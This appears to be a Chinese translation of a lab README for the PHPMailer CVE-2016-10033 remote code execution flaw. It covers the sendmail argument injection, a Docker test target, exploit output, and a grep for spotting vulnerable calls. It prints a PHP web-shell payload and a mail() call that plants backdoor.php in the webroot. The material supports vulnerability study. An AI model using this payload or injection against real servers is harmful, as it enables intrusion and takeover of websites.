
PHPMailer < 5.2.18 远程代码执行
PHPMailer 是全球最流行的传输类库,估计全球有900万用户。每天下载量持续显著。被许多开源项目使用:WordPress、Drupal、1CRM、SugarCRM、Yii、Joomla! 以及更多。
PHPMailer 在 5.2.18 版本之前存在一个可能导致远程代码执行(RCE)的漏洞。当 Sender 属性未设置时,isMail 传输方式中的 mailSend 函数可能允许远程攻击者向 mail 命令传递额外参数,并通过精心构造的 From 地址中的 \"(反斜杠双引号)执行任意代码。
要搭建测试用的漏洞环境,你需要安装 Docker,然后运行以下命令:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
这将在你的主机上启动一个脆弱的 web 应用程序,监听在 8080 端口

要利用此目标,只需运行:
./exploit host:port
如果你使用这个漏洞镜像,可以直接运行:
./exploit localhost:8080
利用后,一个名为 backdoor.php 的文件将被存放在 web 目录的根文件夹中。利用程序将为你提供一个 shell,你可以向后门发送命令:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
就是这样,你拥有了一个 shell。还有另一个利用程序,演示了另一种用例。
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
如果你再次访问该页面,你会看到:

在此 commit 之前的 class.phpmailer.php 中,在特定场景下没有对发件人邮箱地址的特殊字符进行过滤。这个缺陷可以通过这里的 mail 函数 here 导致远程代码执行。
分析代码,mailSend() 函数中没有进行过滤:
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender 直接被附加到 $params 变量中,而后者在 validateAddress() 函数中被过滤,但由于它使用了 RFC 3696 规范,允许某些会破坏事情的字符。
在本例中,是引号:
除了使用反斜杠进行引用外,还可以使用传统的双引号字符来包围字符串。例如
"Abc@def"@example.com
"Fred Bloggs"@example.com
是上述前两个示例的替代形式。这些引号形式很少被推荐,在实践中也不常见,但正如上面所讨论的,处理电子邮件地址的应用程序必须支持它们。特别是,在涉及从其他系统和上下文过渡的地址上下文中,引号形式经常出现;这些过渡需求仍然存在,而且由于接受用户提供的电子邮件地址的系统无法“知道”该地址是否与遗留系统相关联,因此必须接受这些地址形式并将其传递到电子邮件环境中。
如果你想了解全部 RFC,可以阅读 这里。此外,如果 PHP 版本低于 5.2.0,并且没有安装 PCRE,validateAddress() 中的 $patternselect 变量将被设置为 noregex。这将导致输入能够绕过任何正则检查。它只会通过一个简单的验证:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
然后,代码流程进入 mailPassthru() 函数,如果运行在 safe_mode 下,则不会受此漏洞影响,如下代码所述:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
但是,如果未运行在 safe_mode 中,那么我们的特殊参数将被传递给 mail(),如果幸运的话,它将把我们想要的任何内容写入我们指定的位置。
PHP mail() 函数的利用并不是新鲜事,但它依然存在,人们仍在利用它。为了说明其工作原理,让我们看看 mail() 函数是如何定义的:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
有多种利用方法可以实现不同的结果,我们将重点放在利用第5个参数实现远程代码执行(RCE)。参数 $additional_parameters 用于向发送邮件的程序传递附加标志作为命令行选项。该配置由 sendmail_path 变量定义。
来自 PHP 官方文档 的安全说明:
additional_parameters 参数可用于向用于发送邮件的程序(由 sendmail_path 配置设置定义)传递附加标志作为命令行选项。例如,这可以用于在使用 sendmail 时使用 -f sendmail 选项设置信封发件人地址。
此参数在内部被 escapeshellcmd() 转义以防止命令执行。escapeshellcmd() 可以防止命令执行,但允许添加额外的参数。出于安全原因,建议用户对此参数进行清理,以避免向 shell 命令添加不需要的参数。
考虑到可以注入的附加参数,我们将使用 -X 来利用此漏洞。更多关于 -X 参数的信息:
-X logfile
将邮件程序的所有输入和输出流量记录到指定的日志文件中。这仅应作为调试邮件程序错误的最后手段使用。它会非常快速地记录大量数据。
还有一些其他有趣的参数你应该知道:
-Cfile
使用替代配置文件。如果指定了替代配置文件,Sendmail 将放弃所有增强的(set-user-ID 或 set-group-ID)权限。
以及:
-O option=value
将选项 option 设置为指定值。此形式使用长名称。
对于 -O 选项,QueueDirectory 是最有趣的选项,它选择用于排队消息的目录。
如果你想查看完整的参数和选项列表,只需运行 man sendmail 或在线阅读 这里
基于这些信息,以及控制至少一个其他参数的能力,我们可以利用主机。以下是成功利用的步骤:
$additional_parameters 和另一个 mail() 参数webroot 下的任何位置(例如 /var/www/html 或其他系统,本例中为 /www)system() 负载,并添加一些 base64 和特殊字符 | 使其更易于解析。请注意,-X 选项会写入日志文件,该文件除日志信息外还会包含你的 PHP 负载,并写入你指定的目录。一个漏洞 PHP 代码示例:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
如果执行上述代码,它将在 /www/backdoor.php 创建一个日志文件,这就是该漏洞的本质。
本示例中使用的负载如下:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
想要一种简单、一行命令的方法来尝试发现这个漏洞?记住这个神奇的 grep 命令!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
针对此仓库运行将得到:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
该漏洞由 Dawid Golunski 发现。
本程序或之前的程序仅供教育目的使用。未经许可不得使用。通常的免责声明适用,特别是本人(opsxcq)不对因直接或间接使用这些程序提供的信息或功能而造成的任何损害负责。作者或任何互联网提供商对内容或滥用这些程序或其任何衍生物不承担任何责任。使用这些程序即表示您接受:因使用这些程序造成的任何损害(数据丢失、系统崩溃、系统入侵等)均非 opsxcq 的责任。